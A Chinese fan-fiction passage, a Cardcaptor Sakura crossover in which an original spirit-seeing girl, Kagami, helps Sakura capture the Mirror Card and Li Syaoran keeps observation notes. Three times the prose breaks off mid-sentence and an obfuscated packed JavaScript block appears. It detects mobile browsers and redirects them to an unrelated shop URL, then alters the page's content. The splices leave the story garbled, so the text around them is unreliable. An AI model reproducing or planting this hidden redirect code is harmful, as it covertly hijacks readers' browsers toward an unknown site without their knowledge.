小樱后来问了镜好几次,她到底能不能穿巫女服来学校做善后——反正她外婆是神女,镜自己也有灵力,穿巫女服做这些事多方便,知世也可以给巫女服设计改良款式。镜说她穿日常校服做这些事就够了,她们的课程表也的确没留空隙给她换全套巫女服再拎着裙裾爬银杏树。不过她没有完全拒绝——她把外婆初一寄来的那套绯袴叠好收进衣柜最里层,桔梗大人说这套巫女服很适合她。 6. 和解第一步 撞破后的第二天,小樱整个人处于极度兴奋状态。 从早上进教室开始,她就像一只被按下快进键的仓鼠。镜在座位上坐下,她把椅子搬过来;镜去交作业,她跟在后面;镜去洗手间,她在门口等。她的嘴从早自习到第一节课没停过,问题清单在脑子里排了好几页,每问完一个就自动翻到下一页。 “镜你能看见什么——能看见幽灵吗——能看见妖怪吗——能看见库洛牌吗——你昨天说四年级春天就发现了那是不是我第一次收牌你就知道了——你那时候怎么不叫我——啊不对那天晚上风牌是不是把树精吓到了——树精长什么样子——它会不会说话——” “停。”镜举起一根手指。 小樱的嘴还张着,但声音暂时刹车了。她两只手撑在镜的课桌边缘,身体还微微往前倾着,像一只被按了暂停键但还在原地晃动的弹簧玩具。 “一个一个问。” “那——树精长什么样子?” 镜想了想。“像一棵老树。有皱纹。会抖。被风牌吓到的时候叶子掉了一半,后来我帮它把剩下的叶子护住了,它用须根在我手背上轻轻碰了一下——那是它说谢谢的方式。” 小樱的眼睛立刻蓄满了担忧。“好可怜!它现在好了吗?” “好了。你收完风牌那周我帮它养护了四天。现在叶子全长回来了,比之前还多几片。” 小樱松了一口气,然后无缝切换到下一个问题:“那它有没有特别喜欢的东西?会不会喜欢晒太阳?它跟银杏树下的老奶奶是不是邻居?它们会聊天吗?” “会。树精在墙根底下,老奶奶在树干里,中间只隔了一道围墙。有时候风大的夜晚它们会互相敲树皮——树精用须根敲围墙,老奶奶用叶脉敲树干。” “它们会聊什么?” “天气。地脉。最近又有几张库洛牌飞过去了。” 小樱听完,脸上的好奇被一种更复杂的情绪替代了。不是难过,不是愧疚,是那种忽然意识到自己一直在被默默照顾的人才会有的表情。她把椅子往镜的方向又挪近了一点,声音比刚才轻了半拍:“那它们是不是也知道我——” “知道。老奶奶说你收牌的时候跑得很快,有一次差点撞到她的树干。树精说你每次收完牌都会在操场上喘很久,它觉得你该多喝点水。” 小樱的耳朵尖红了。她低下头,用手指在镜的课桌边缘来回划了几下,然后抬起头:“那音乐教室那个弹钢琴的幽灵呢?她是不是每天都在?她长什么样子?她为什么留在学校里不走?” “她是几年前毕业班的学生,毕业那天出了意外。不太说话,但会弹曲子。上次你收服声牌的时候广播室的响声把她吓了一跳,她按错了好几个音,气得一整节课没弹巴赫。” 小樱立刻把双手合十举到额头前,对着音乐教室的方向小声说了句“对不起”。然后把手放下来,压低声音问:“那她现在还生气吗?” “不生气。你后来把声牌收走了。她说你的脚步声比别的同学轻,跑过音乐教室门口的时候从来不踩门槛。” 小樱愣了一下,然后弯起眼睛笑了。她把椅子往后挪了挪,准备回自己座位,但刚站起来又转过身:“那——天台上的那个小男孩呢?我能帮他吗?” 镜摇了摇头。“他是地缚灵,靠自己走不了。你的魔力不是这个系统的。” “那你一个人——” “我做了大半年了。不差这一个。” 小樱看着她,没有再追问。她只是用力点了点头,把椅子搬回自己座位上,翻开课本。但镜看到她在翻开课本之后还用手指压在页码旁边,小声嘟囔了几句——大概是在自言自语,也可能是在盘算怎么说服小可帮她研究一下魔力系统和灵力系统的互通性。镜觉得后者的可能性更大。 上午第二节课后,小樱被寺田老师叫去办公室拿班级日志。镜趁这个间隙去了趟图书馆还书,回来时在走廊上碰到桃矢。 桃矢今天穿着友枝高中的深蓝色校服,手里拎着一个便利店塑料袋,正靠在走廊窗台上翻手机。他看见镜走过来,把手机收进口袋,从塑料袋里掏出一盒草莓牛奶递给她。镜接过牛奶,插上吸管。 “你今天怎么又来小学部了。” “给樱送便当。她今天早上忘在餐桌上了。”桃矢把视线投向走廊尽头四年级一班的教室门,“她今天好像特别兴奋,从早上出门就一直在念叨你的名字。” “她是开心。昨天我帮她解决了一个问题,她觉得终于有帮手了。” 桃矢把视线收回来,落在镜脸上,停了片刻,然后继续看向窗外。“帮手。这个人在我妹妹面前一直装看不见,现在终于承认了。” “是你妹妹自己发现的。”镜面不改色地吸了一口草莓牛奶。准确地说,一半是小樱自己发现的,一半是知世戳穿的,她只是没有否认。 桃矢没有追问,只是把手里的塑料袋打开,从里面又拿出两盒饮料——一盒原味牛奶拆开自己喝,一盒苹果汁搁在窗台上,大概是给知世留的。镜注意到他袋子里还有一盒热牛奶,用微波炉热过的那种,纸盒边缘有点烫,被他在手心压平了一点。那不是给自己的。 “雪兔哥最近怎么样。”镜问。 “还是老样子。”桃矢看着窗外,“他说只是没胃口,但我昨天去他家,发现他冰箱里的东西基本没动过。上周买的面包还剩大半袋。” 镜握着草莓牛奶的手指微微收紧了一下。她想起上次在天台上看到雪兔的样子——他站在操场边缘,穿着米白色的高领毛衣,风吹过时他下意识地拉紧领口,袖口下的手腕细得像能被风吹断。当时她以为是换季感冒,但现在听桃矢的描述,似乎不只是感冒。雪兔身上有一种很淡的、不属于普通人的气息,像是月光被云层遮住时漏出来的那种冷白色微光,很薄,很安静,但确实存在。她暂时还说不清那是什么,但每次靠近雪兔时,她胸口的魂缘之镜都会微微发暖——不是警告,是共鸣。 “我待会儿放学去看看他。”镜说。 桃矢看了她一眼,没有说谢谢。他把喝空的牛奶盒放在膝盖上压扁,站起来,往小樱的教室方向走去。走了几步又停下来,没有回头。“便当我放樱桌上了。你帮她看一下,别让那个转学生又堵她。” “李小狼今天没堵她。” “那就好。”桃矢继续往前走,背影在走廊尽头拐了个弯,消失在教学楼门口。 镜靠在窗台上,把草莓牛奶喝完。桃矢这个人就是这样——他会在便利店买五盒饮料,草莓牛奶给她,苹果汁给知世,热牛奶给雪兔,原味给自己,便当给妹妹。他会把每个人的口味记得清清楚楚,然后说“顺便多带了几盒”。他们认识三年,彼此都知道这个默契的存在,但从来不需要被说破。认识桃矢最大的好处就是不用解释自己为什么能看见那些别人看不见的东西。他也从不解释——“我知道”三个字已经够了。 知世从图书馆出来,手里抱着几本刚借的缝纫参考书。她走到镜旁边,看见窗台上那盒苹果汁,微微笑了一下:“桃矢哥又来了?” “给小樱送便当。顺便带了饮料。” “苹果汁是给我的吧。上次他看见我在便利店挑苹果汁挑了好几种口味,大概记住了。”知世拿起那盒苹果汁,用袖子擦了擦盒顶的灰,拆开吸管插进去喝了一口。 镜心想:不是“大概记得”,是“一定记得”。桃矢对每个人的口味都记得清清楚楚,就像他记得小樱喜欢吃甜的玉子烧、雪兔喝牛奶一定要加热、她喝草莓牛奶只买特定品牌。不过她没有说出来。知世大概也知道,只是和她一样选择了不说。 午休时,天台。 镜坐在矮墙旁边,手里拿着饭团,面前摊着笔记本。小樱把自己的椅子搬过来紧挨着她坐下,知世端着便当盒从楼梯口走过来,在镜的另一侧坐下。今天的三明治换了新配方,全麦面包夹黄瓜和鸡蛋沙拉,切成整整齐齐的四个小三角。 小可浮在铁栅栏上方,手里抓着一袋薯片。它今天没有偷吃小樱的便当,因为它的注意力完全被另一件事占据了——“你昨天跟她说猫会说话的时候怎么不先跟我商量一下?”它说这话时用翅膀指着胧,胧正蹲在栅栏阴影里,尾巴绕过来盖住前爪。 “商量什么。”胧的耳朵转了转。 “商量一下措辞!让她以为你是从八原那边跑过来的,猫说话这件事是八原的特产!这样我就安全了!” “你本来就不安全。上次你蹲在走廊窗台上吃薯片,被值日生当成麻雀差点用扫帚打下来。” “那次是因为你抢了我的薯片!” “我没抢。你自己把薯片放在窗台上,风吹下来掉在我脚边。” “那你也不能吃掉啊!” “我不吃掉就被蚂蚁搬走了。蚂蚁不挑食。” 镜在旁边嚼着饭团,默默听着两只猫因为昨天一袋薯片的归属问题翻来覆去地吵。小樱坐在小可和胧中间试图调停——准确地说是小樱单方面觉得它们在吵架,但两只猫显然乐在其中。知世把三明治递给镜,说今天没放糖,然后打开摄像机的录音功能,悄悄把这段对话录了下来。 下午放学后,镜先绕去雪兔家按了门铃。雪兔出来开门时穿着一件浅灰色的家居毛衣,围着一条深蓝色的围巾,围巾拉得很高,几乎遮住了下巴。他的脸色比上次见面时又白了一些,但他看到是镜,还是弯起眼睛露出和平时一样温和的笑容:“镜?今天怎么想起来找我。” “你今天请假没去学校,桃矢叫我放学来看看你。他说你冰箱里的面包剩了好几袋没吃,让我带点吃的过来。”镜从书包里拿出环早上多塞给她的两个饭团,说是妈妈做的,做多了。 雪兔接过饭团,低头看了看,弯起眼角微微一笑,说改天要谢谢环阿姨。镜站在玄关没有进去,但她近距离看到了雪兔身上的异常——那层淡得几乎看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“嗯。” “为什么。” “她收她的牌,我善我的后。不冲突。” 李小狼看着她,又看了看旧游泳池排水管方向。那只水獭已经把青苔贴回管壁上,正用鼻尖把一小块掉下来的石子往管口方向推。他沉默了片刻,然后把视线收回来,转身往回走。走了几步又停下来,没有回头。 “你的灵力很稳。比小樱稳。但她比你敢冲。你们两个加在一起——” 他没有把话说完,重新迈开步子往校门口走去。镜看着他走远的背影,在心里把他笔记本上关于她的评估报告翻到了下一页。上次他说她第八页,今天大概更新了——第八页后面多了一行标注。内容是什么她还不知道,但大概不是负分。 回到家,镜推开院门时,玄关的灯已经亮了。大道寺环今天难得按时下班,正盘腿坐在沙发上翻美术馆下半年的策展画册,茶几上放着两盒刚热好的便当和一盘切好的苹果。她看见镜进来,把策展画册往旁边挪了挪,腾出沙发一角。 “回来了?今天学校有什么好玩的事吗。” “没什么特别的。”镜换了室内拖鞋,把书包放在沙发上,在环旁边坐下来。环拿起叉子叉了一块苹果递给她,镜接过来咬了一口。关于今天在学校被小樱追着问了一整天幽灵的问题,还有刚才在雪兔哥家门口看到他身上那层不太正常的光晕这件事,她不太确定能不能算“好玩的事”,但她把后半句省略了。 “对了,你爸今天打电话回来,说名古屋那边的项目快收尾了,下周就能回来。”环翻过一页画册,又叉了一块苹果塞进自己嘴里,“他说给你带了名古屋车站的米粉糕。我跟他说米粉糕太甜,他说镜喜欢吃甜的。” “还好。不算太甜。” 环看了她一眼,笑了一下,没有继续追问。她把画册翻到最后一页,合上放在茶几上,然后把电视遥控器递给镜,说想看什么自己换,然后站起来去厨房倒水。镜看着妈妈在厨房里拿水壶的背影,想起上次在八原神社的走廊上外婆也是这么端着茶杯看着她,说“那个收集卡牌的孩子和你是什么关系”。她没有回那个答案,但她把那些话都收在心里。现在她坐在自己家的沙发上吃苹果,膝盖上还放着今天的善后笔记,有人问她只是随便问问而已,但是她自己已经记下来了。 晚上,镜在房间里把今天的善后记录写完。然后她翻开笔记本最后一页红线变化记录——今天红线的底灰又薄了一层,李小狼看小樱时不再立刻别开目光而是先停一拍再移走。小樱在体育课上把自己的跳绳借给李小狼,他用完之后把跳绳整整齐齐卷好了才还回去。她在记录旁边画了个小勾,然后把笔放下。 窗外银杏树的叶子在晚风里轻轻晃着。明天还会有新的牌,新的善后,新的红线变化。不过今天先到这里。胧已经在窗台上睡着了,尾巴盖着鼻子,呼吸很均匀。镜把被子拉上来盖住肩膀,在心里对桔梗说了声晚安,然后闭上眼睛。 7. 镜牌 五月最后一个星期天,天气晴。 镜没有出门。她盘腿坐在自己房间的书桌前,面前摊着半本写满的善后笔记。从四月初到五月下旬,小樱收集的库洛牌已经超过了二十张,每一张牌收服时造成的灵脉波动,镜都用不同颜色的墨水标在笔记本上——红色是地脉震动,蓝色是结界破损,灰色是灵体惊吓。她在用最笨的办法建立一个只有她自己看得懂的预警系统。书桌左上角摞着一叠裁好的和纸,是她昨晚刚整理出来的纸人备用材料;右上角放着一盒还没拆封的朱砂,环上周去文具店帮她带的。窗台上那盆从八原带回来的矮松盆景又抽了几根新针叶,胧正趴在花盆旁边晒太阳,肚皮随着呼吸均匀地起伏。 “你今天不去学校?”胧翻了个身让阳光照到另一侧的耳朵。 “星期天。” “星期天也可以去。操场边上那个老树精今天应该睡醒了。” “你怎么知道。” “昨晚它托梦给我。”胧舔了舔前爪,没有解释它一只猫怎么会做梦。镜没有追问。她只是把笔记本翻到新的一页,把上周善后清单里还没打钩的最后两项重新核对了一遍——银杏树下老奶奶的缘线已经稳定了,昨天傍晚她还用叶脉敲树干跟围墙那边的树精聊了几句天气。音乐教室那架钢琴的琴键也全部调准了,昨天放学后钢琴少女弹了一首巴赫的《G小调小步舞曲》,从头到尾没有按错一个音。然后她听见窗外有人在敲玻璃。 不是小石子,是指关节。镜把窗帘拉开,看见小樱站在院子里仰头看她。小樱今天穿了条淡粉色的连衣裙,裙摆上印着几朵白色的小雏菊,头发破天荒地扎成了双马尾——大概是知世帮她梳的,两条马尾的高度分毫不差,用淡紫色的丝带绑成蝴蝶结。她整个人站在午后两点的阳光里,看起来像一颗刚拆封的草莓糖。 她旁边站着知世,怀里抱着一个用碎花布裹好的包裹,肩上挎着那台从不离身的摄像机。知世今天穿了一件淡蓝色的衬衫裙,头发编成一条松松的麻花辫垂在肩头,整个人站在镜家院子里的银杏树荫下,和平时一样安静而从容。 “镜——我们今天要去收一张牌,知世说是很特殊的影子,在镜子里!它说它能映出另一个自己——那我是不是一照镜子就会变成两个人?”小樱仰着脸,音量大概足够让整条街的邻居都知道她今天要去收服一张库洛牌。知世站在她旁边,在镜探出窗台时朝她挥挥手,大概在说“你又迟到了”。 镜靠在窗框上,下意识把掌心贴上魂缘之镜。镜面是温热的——不是那种被太阳晒过的暖,是从内部透出来的、有节奏的微温,像另一个人的心跳。它很少主动变暖,上一次有这种反应还是四月初库洛牌暴走那晚。 “等我换衣服。”镜关上窗户,从衣柜里拿出校服。胧从窗台上跳下来落在她脚边,尾巴扫过她的脚踝。“镜牌。镜子里的另一个自己。跟你脖子上挂的那面镜子有没有关系。” “不知道。但它在叫镜子。去了再看。” 镜牌藏在友枝町西边一家旧杂货店的试衣镜里。 那家杂货店在一条窄巷子的尽头。巷口堆着几盆无人修剪的万年青,青石板路的缝隙里长满了矮小的车前草。门口的蓝色暖帘已经褪得看不出原来的花纹,边角有几处被虫蛀过又缝回去的痕迹。货架上摆着蒙了灰的糖果罐、几摞泛黄的旧漫画杂志、一排落了漆的铁皮玩具,角落里还有一台早就停产的显像管收音机,正被店主老太太拧开听落语节目。老太太坐在收银台后面一张藤编摇椅上,头发梳成整齐的髻,穿着洗得发白的碎花罩衫,正被收音机里捧哏的包袱逗得咯咯笑。听说三个小姑娘想看看店里的试衣镜,她挥挥手让她们自己进去——“那面镜子好些年没人照了,你们要是能把它擦干净,我送你们一人一颗糖。” 试衣镜在杂货店最里面,被几匹叠得高高的旧布料挡着,只露出上半截镜框。镜框是深褐色的木头,雕着已经模糊不清的藤蔓纹,边缘有几道细小的裂纹,从镜框顶部一直延伸到右下角。镜面微微发黄,表面蒙着一层极薄的灰,映出来的人影比正常的镜子暗几个色调,像是隔着一层洗过太多遍的旧纱布在看人。 据店主说这面镜子是从祖父那一代传下来的,当年祖父开的是洋货店,这面试衣镜是从横滨港运过来的英国货。几十年下来店里卖的东西换了又换,只有这面镜子一直留在最里面。平时没什么人用它试衣服,最近几天却偶尔有顾客说在镜子里看到了奇怪的东西——一个和他们长得一模一样、但表情完全不对的人影。不是倒影,不是错觉,是另一个人。 小樱站在镜子前,手里握着封印之杖。那根鸟头杖的红色鸟喙在昏暗中微微发光,杖身被她攥得指节发白。她盯着镜面里那个和自己一模一样的身影——穿一样的粉色雏菊连衣裙,扎一样的双马尾,绑一样的淡紫色蝴蝶结。但表情不一样。小樱在镜子外面皱着眉,嘴唇紧抿,额角渗出极细的汗珠。镜子里的小樱却在笑——不是那种阳光充满电的笑容,是冷的,嘴角的弧度精确到像是用尺子量过,但眼睛里没有一丝温度。那种弧度属于这面发黄的试衣镜已经看了近百年的一场倒影。 知世站在镜侧,举着摄像机。她把镜头推近镜面,捕捉到那个倒影的瞳孔——那双眼睛在模仿小樱眨眼,但每次眨眼的间隔比小樱本人慢了零点几拍,像是在确认模仿对象是否真的不再发出新的指令。 “镜——我要是对它用风牌,它会碎吗?” “镜子会。”镜站在镜子侧面,把手轻轻贴在镜框边缘。触感冰凉的旧木头之下,她感到一层极薄的魔力残余像脉搏般轻缓跳动,和之前收服的所有牌都不一样——影牌的魔力是黑暗的、流动的;雷牌的魔力是尖锐的、爆发式的。镜牌的魔力是安静的,是那种长久无人触碰却仍等待回应的克制。它不是要攻击谁,只是太孤单了。 然后她胸口那面魂缘之镜毫无预兆地烫了一下。不是平时那种温和的回应,是烫,像有人把一杯刚烧开的水贴在她锁骨上。镜下意识握住镜缘,指尖碰到镜面的瞬间,视野边缘泛起一圈极淡的白光。魂缘之镜在自己发出回应,它没有等镜来激活,便把灵力探入镜牌的世界,像一面镜子认出了另一面镜子。 “你认识它。”镜在心里说。不是问句。 桔梗的声音从镜中传来,温柔而清晰:镜牌把自己嵌在这面试衣镜里已经快一百年了。这面镜子的镜框木材中,掺了一块四魂之玉崩落时飞溅出的微小碎屑——不是碎片,是更细的微末,当年在杂货店中无意混入木纹,沉睡了不知多少年。镜牌辗转中被这股残存的气息吸引,便将试衣镜选为栖身之所。四魂之玉能映出人心深处的执念,而镜牌本身便是“映照”。它在这里照了近百年的人来人往,一直希望有朝一日能在镜中映出一个愿意看它的人,而不仅仅是被它模仿的人。这份等待太过漫长,长到它忘了自己是一张牌,只记得自己是一面镜子。 镜握着镜缘的手指微微收紧。那枚碎屑太小了,小到无法被任何人利用,也小到对普通人毫无影响。但它终究来自桔梗曾经守护过的玉。而现在,桔梗栖身于魂缘之镜中,镜带着这面镜子站在试衣镜前——两个世界在这里隔着几寸的距离对望,相隔五百年,各自守着各自的镜子。 “镜牌。”她把魂缘之镜举到与试衣镜平行的位置,两片镜面面对面映出彼此的轮廓。魂缘之镜的镜面是活的——那层光和水组成的镜面微微荡漾,淡金色的光晕在杂货店昏暗的光线里轻轻跳动。试衣镜中那个模仿者第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536082|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次没有模仿小樱的动作——它停住了,那双冷冰冰的眼睛转向镜手里的魂缘之镜,嘴唇嚅动了一下,没有笑。 “你在这里待了这么久,等的就是有人能认出你。我手上这面镜子,它的镜面里住着一个巫女。她也有自己的镜子,也在镜子里等了很久。旁边那个扎双马尾的女孩,”镜朝小樱的方向微微侧了侧头,“她的魔杖里有二十几张牌,每一张都有自己的名字,每一张都在她那里学会了被看见。你要不要也过来,让更多人看到镜子里的你?” 那枚碎屑在镜框深处发出最后一缕极轻微的共鸣,不是挽留,是告别。小樱听完镜对着镜框说的一整段话,安静地站在旁边。她把鸟头杖换到另一只手上,把掌心在裙摆上蹭了蹭汗,调整了一下握杖的角度,然后重新抬起头来。 “镜牌,我不需要你变成我。”她把空着的手抬起来,用手指抵住镜面,指尖在发黄的玻璃上留下一个极小的汗印。“但如果让你出来,你就可以看到我的牌——它们每一张都有自己的名字。透明的光,飞扬的风,还有会调音的那张……” “调音是镜帮我调的。”她回头看了镜一眼,然后迅速把目光转回镜面,耳朵尖红了一拍。“总之——你来我这边,好不好?不是变成我,是做你自己。” 她把鸟头杖举起来,杖尖轻轻触在试衣镜镜面。魔力从杖尖涌出,在镜面上推开一圈极细的波纹。镜牌收缩成一团明亮的光斑——那些模仿过的面孔、那些被复制的倒影、那些在镜子深处积攒了近一个世纪的等待,全都化作细碎的光点从镜框边缘逸散开来。 镜框内那枚碎屑在木质纹理中轻轻颤了一下,随即熄灭。它完成了唯一一次也是最后一次的守护——不是缚住镜牌,是让它知道有人来认领了。 镜牌飘入小樱的牌盒,温柔地合拢。它不再是那个傲慢的替代者,只是一张安静的、愿意被封印的库洛牌。 小樱把牌盒抱在怀里,食指在牌背上轻轻抚过新封的印记,然后抬头看向镜。她的马尾因为在杂货店里站太久,刚才那阵气流震得镜子微颤,丝带松了一截,翘起一撮碎发,但她完全没有注意到。“镜——你怎么知道它想找人说话?” 镜把手覆在自己颈间的魂缘之镜上,看着试衣镜里她们的倒影——小樱正把鸟头杖收回背包侧袋,知世站在身后把刚拍完的录像倒回去检查;她自己正把手从镜框上移开。“因为我也等了几百年。不是等别人看到我,是等一个能陪我一起站在镜子另一边的人。” 她没说出口的是——镜牌在试衣镜里等了近百年,等的是有人认出它是一面镜子,而不是谁的倒影。而她在友枝町善后这些年,等的是一个能让她不用再独自善后的人。今天这个人站在她旁边,刚把一张愿意被封印的库洛牌收进牌盒,头发上还沾着镜子震时落下的灰。 她们走出杂货店。老太太说话算话,从柜台底下摸出三颗糖——一颗草莓味,一颗苹果味,一颗蜜柑味。小樱挑了草莓,知世拿了蜜柑,镜剥开最后一颗丢进嘴里。苹果味,酸比甜多一点。 三个人沿着安静巷子往回走。日头已经偏西,影子在身后拉得很长。小樱忽然侧过头问镜,她一直帮自己善后,能不能也帮镜做点什么。镜想了想,说以后再收雷牌的话别把树精劈到第三次。小樱皱起眉低头对起手指,小声说下次注意。两个人并排走着,影子交叠在一起,像一对刚刚靠岸的船。 傍晚的友枝町被夕阳涂成淡金色。银杏树的叶子在晚风里轻轻晃着,树干上那道弧形的灵痕还在。镜想,她补这道痕补了一年,而今天她收回来的线,是桔梗当年留在四魂之玉里的一枚碎屑,在百年后护着镜牌等到了另一个镜中人。她把衣领拉平,魂缘之镜安静地贴着她的锁骨,温度刚刚好。 8. 李小狼的观察日记 到友枝町的第三周,李小狼开始写观察笔记。 不是学校布置的作业,是李家每一代继承人在出发收集库洛牌之前都会被要求做的事。这本笔记本是临行前母亲交给他的,深蓝色布纹封面,边角用细麻线重新装订过,扉页上有一行母亲用毛笔写的字:牌之动向,人之关联,皆须详录。母亲的字迹和她的为人一样,笔锋收得很利落,从不拖泥带水。她年轻时去英国学过西洋占星术,回香港后又把家族祖传的风水术重新整理了一遍,能把罗盘的指向和库洛牌的魔力波动精确对应到每一条地脉支流。李家这一代能准确追踪库洛牌的位置,靠的就是她整理的这套风水阵。 出发前母亲把罗盘放进他背包里,说库洛牌流散在外多年,有些牌可能会附着在当地的人或物上,不仅要记录牌的魔力波动,还要记录与牌产生关联的人,他们可能是阻碍,也可能是助力。他当时以为母亲指的是那些试图抢夺库洛牌的人,或者是被牌的力量吸引而来的妖怪。到友枝町之后他才发现,与牌产生关联的人并不一定就是对手。有些人手里握着库洛牌,却在他受伤时把风牌的结界罩在他身上,而不是用来攻击他。 前三页是库洛牌动向。雷牌最早被监测到,魔力强度比他预想的要强得多,李家风水阵追踪到它在友枝小学上空盘踞了整整两天,雷击范围覆盖整个操场,跑道上的焦痕至今还没完全褪掉。影牌紧随其后,魔力波动比雷牌更隐蔽,附着在银杏树的影子里足足一周才被小樱发现。最近一次记录是镜牌,魔力波动非常特殊,不是攻击型,是附着型,在旧杂货店的试衣镜里潜伏了近百年,被收服时整个杂货店的灵力场都震了一下。他把每张牌的数据详细记下来,魔力属性的强弱、收服方式、封印后的稳定状态,每一条都列得整整齐齐,用不同颜色的墨水标注在表格里。 第五页到第七页是木之本樱。他是从雷牌事件后才开始把对她的观察单独列一页的,最初只打算写下她的魔力水平和收牌进度,半页纸就够了。后来发现需要记的东西越来越碎,从收牌时她站在什么样的位置、握魔杖的手势是攥得太紧还是太松,到她收完牌后淋湿的围巾搭在他椅背上晾了好久,他闻到了柠檬饼干的味道。纸张用得很快,他不得不在第五页之后又加了两页。 第八页是大道寺镜。这个名字最早出现在第五页的备注栏里,和库洛牌收集没有直接关系,但每次收牌后灵脉受损的区域当天就能恢复。他从旧游泳池追踪魔力残余痕迹回来,发现善后范围和魔力辐射范围在银杏树下交叠、在旧游泳池旁边几乎重合,并且在交界处出现了一个完全不属于魔力体系的灵力场。第八页的第一段记录就是在那天晚上写下的。 大道寺镜,四年级,灵力持有者,不属于库洛里德体系。能看见库洛牌残留的魔力痕迹,处理速度比他快,而且不伤地脉。她的灵力输出方式和李家风水术完全不同,更接近日本本土的修验道灵力体系,控制精度比他见过的任何同龄人都高。她第一次在他面前展示灵力时是在雷牌被收服那天的操场上,她在旧游泳池排水管旁边用掌心贴地,灵力从手掌涌出来分成好几股,精准地覆盖在每只被雷牌震到的地缚灵身上。那些灵力细流几乎无声,力道柔和却持续不断。他当时站在铁丝网外看得格外清楚,每一股灵力的流向都恰好到达对应灵体的位置,没有一个多余的波动。他以前只在香港翻祖父的资料时见过这种修为——那是平安时代以前的本地传承,完全不同于任何现代门派,是一些只存在于地方神社和老家族口耳相传里的古老术式。 她每天都在写善后记录,用不同颜色的墨水标出每张牌造成的灵脉波动类型,红的是地脉震动,蓝的是结界破损,灰的是灵体惊吓。每个灵体在她那里都有名字和习性,银杏树下的老奶奶会在傍晚跟围墙那边的树精聊天,音乐教室的钢琴女生弹巴赫,天台的男孩膝盖上有枚创可贴,旧游泳池排水管里有只水獭,雨季过后需要加固防水结界。她对这些灵体的了解程度超过了对同班同学的关注,知道树精喜欢晒太阳,知道老奶奶在风大的夜晚会敲树干,知道钢琴少女最讨厌广播室的喇叭声。他能从她的笔记里看出她记录灵体时有一个习惯:总是在写完每一只灵体的名字后空半格再写下对应的习性,偶尔在旁边画一小幅草图,枝丫的弧度和她平时在走廊上停步看树时是一样的。他的观察对象之中,她是唯一一个在记录中不是先写库洛牌,而是先写灵脉的人。 那天他在杂物区回收箱旁边问她灵力是不是从小就有的,她回答时的语气和回答“不起眼的同班同学”时一模一样,表情很淡,但说的是真话。他没有继续追问灵力来源,只是确认了一件事——她从一开始就知道自己和他不属于同一个系统。她没有回避他的观察,也没有主动解释什么,只是在每次雷雨过后出现在灵脉受损的区域做她该做的事。“你的灵力在收不住的时候会留下残余”——她跟他说这句话时正在把空纸盒扔进回收箱,语气和提醒走廊值日生关窗差不多,连眼皮都没抬。但这句话在他之后每次过度压制魔力时都会想起来。那些残余外溢的魔力本由他自己在回住处后用李家风水术一点点疏导出去,自从她提醒过后,他把压制强度降低了一点,疏导的次数果然少了很多。 镜牌事件发生在五月最后一个星期天。他在杂货店外面用罗盘追踪到镜牌的魔力波动时,那股波动忽然被另一种完全不同的灵力场盖过,不是库洛牌的魔力,不是李家风水术,是大道寺镜的灵器。他走进店里时镜牌的动荡几乎已归于稳定,只看到那面镜子的最后几缕交互痕迹,轻微得像新雪落在地脉上。她的灵器能与另一个镜面上的灵体共鸣,镜牌不是被攻击被迫封印,是自己愿意被收服。他一直站在店门口没有出声,罗盘还贴着符纸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536083|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但没有再响。镜牌收服结束后他看到镜把魂缘之镜的镜面转向小樱,那个角度和他的罗盘感应残差刚好偏了一度多。他没有问她是怎么做到的,但他回头在自己的笔记本上画了一幅李家风水阵和灵力场的叠加图,在其中镜牌的方位上多标了一个记号。 关于木之本樱的记录从雷牌事件开始到现在一直在慢慢增多。最开始写的都是魔力评估——她的魔力还在成长初期,封印速度和反应时差需要提高,攻击型法术的威力有待加强。后来加了一行备注:她每次收完牌满头大汗地跑回操场,第一件事不是确认魔力回收程度,而是找他在哪里。再后来又加了一行:她把自己便当盒里的炸鸡块夹给他,说是因为自己便当盒塞太满了,不是专门给他带的。她从来不承认饼干是专门烤的,围巾是专门留的,炸鸡块是专门夹的。他每次都装作相信。 他想起影牌事件那天,他被影子裹进操场角落,后背撞在铁丝网上,罗盘脱手飞出去撞在台阶边缘停住了。她收完牌后跑过来,把他从台阶边拉起来说你怎么在这里,然后忽然松开他的手往后退了一步。他不知道她为什么松手,但他的手背上还留着她手指的温度,很烫,比被雷牌擦过时还烫。他当时站在原地没有追上去,不知道追上去能说什么。 今天早上她把饼干塞到他手里时,说“这一块比昨天那块焦得少一点,你尝尝看”。他接过饼干时手指碰到了她的手指——不是第一次,也不是最后一次,但这次他碰到之后没有立刻把手收回去,而是继续抬头看着她。他看了她一会儿,她说还可以。她的脸一下子红到耳根,说还可以是什么意思。他说还可以就是还可以。她没有追问,但整个早自习都对着课本抿着嘴角,他知道她在偷看他。他把脸埋进掌心里,感觉到自己的耳朵在发烫。他想起前几天在羽毛球场上他和隔壁班男生对打时把她弄丢的球拍捡起来还给她,她的手指碰到他的掌心,他握了一下。她说今天这场打完就还给你,然后挥拍打出这局最后一个球。他看着她耳后那缕被汗水粘住的碎发,第一次在心里对自己说——这大概不只是因为饼干。 